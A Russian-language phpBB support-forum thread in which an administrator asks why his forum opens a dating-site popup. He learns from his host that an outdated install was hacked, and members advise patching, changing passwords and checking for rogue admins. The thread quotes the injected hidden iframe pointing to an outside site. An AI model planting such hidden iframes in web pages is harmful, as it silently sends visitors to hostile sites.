Взлом или глюк?

[Goose]

Добрый день Гуру!
С сегодняшнего дня на моем форуме наблюдается следующая картина:
При загрузке форума всплывает новое окно сайта знакомств. Причем не важно, авторизован ты или нет. При входе в админский раздел то-же самое.
Что это взлом или глюк? Где капать?
Сам я не очень в php
Ставил версию 2.0.22, но внизу отображается "Powered by phpBB 2.0.19 © 2001 phpBB Group"

[Палыч]

FAQ, Q43

Добавлено спустя 1 минуту 44 секунды:

Кстати, возможно, что и хостер, если он бесплатный.

[Goose]

Хостер не бесплатный на C-panel

[Xpert]

Тогда читайте FAQ. Скорее трояна поймали хотя вероятно и версия старая...

[Goose]

Xpert
FAQ порою обязательно.
Троян где может быть на РС или на хостовой машине?

[Палыч]

Goose
Вы бы в FAQ то зашли сначала...

[Goose]

FAQ просмотрел, но похожих тем не обнаружил. Сейчас рою поиск.
Но пока ничего не пошел.

[Палыч]

FAQ, Q43

http://www.phpbbguru.net/community/viewtopic.php?t=2328

[Goose]

Спасибо. А я смотрел http://www.phpbbguru.net/community/faq.php

Добавлено спустя 10 минут 48 секунд:

Вот что напсАл мне сисадмин в ответ на мой запрос:
"У вас был взломан форум (скорее всего просто старая версия phpbb).
Далее в название форума был вставлен код iframe
<iframe src="http://xakerov.net.ru/forum" width=1 height=1></iframe>
который и вызвает все остальные функции. рекомендуем сменить пароль на
админку, вычистить вредоносный код из названия форума Поговорим о
рыбалке и рассмотреть возможность перехода на новую версию phpbb."
Ставил вроде 2.0.22, но отображается 2.0.19
Щас посмотрю FAQ о том, чтобы узнать какая версия установлена реально и как ее обновить.

[VVVas]

То что у вас стоит не выше 2,0,15 это точно, потому что в ней убрали вывод версии. Так что смотрите по заголовкам файлов и сравнивайте, чтоб узнать какая у вас версия.
И прочтите наконец про обновление форума, а не тупо запускайте update_to_latest.php без редактирования файлов.

[Goose]

Очень странно, т.к. я брал последнюю версию с этого сайта и ставил ее.

[VVVas]

Значит кого-то хакнули: форум, сайт, ваш комп, хостера. Выбирайте.

[Goose]

Похоже, что ломанули форум. Пароли поменял, код в названии вытер. Пропатчил до 2.0.22
Кстати, версия видна только в админском разделе.

[VVVas]

Кстати, версия видна только в админском разделе.

Это правильно.

Добавлено спустя 1 минуту 18 секунд:

Теперь отсмотрите на наличие левых файлов, а лучше залейте имеющуюся копию на момент до взлома и просмотрите наличие левых админов и модераторов.

[Goose]

VVVas
Можно попутно задать Вам вопрос не совсем по теме.
Я некоторое время назад удалял юзеров из базы (мода Userlist у меня еще не было). После этого форум заглючело: перестала работать регистрация и при выходе выдавалась ошибка. Порывшись в поиске я нашел похожий вопрос. По-моему именно Вы предположили, что был удален юзер "Гость" и предложили сделать два запроса над базой.
Я сделал один. Второй не сделал и теперь жалею, т.к. глючит поиск, а найти не могу.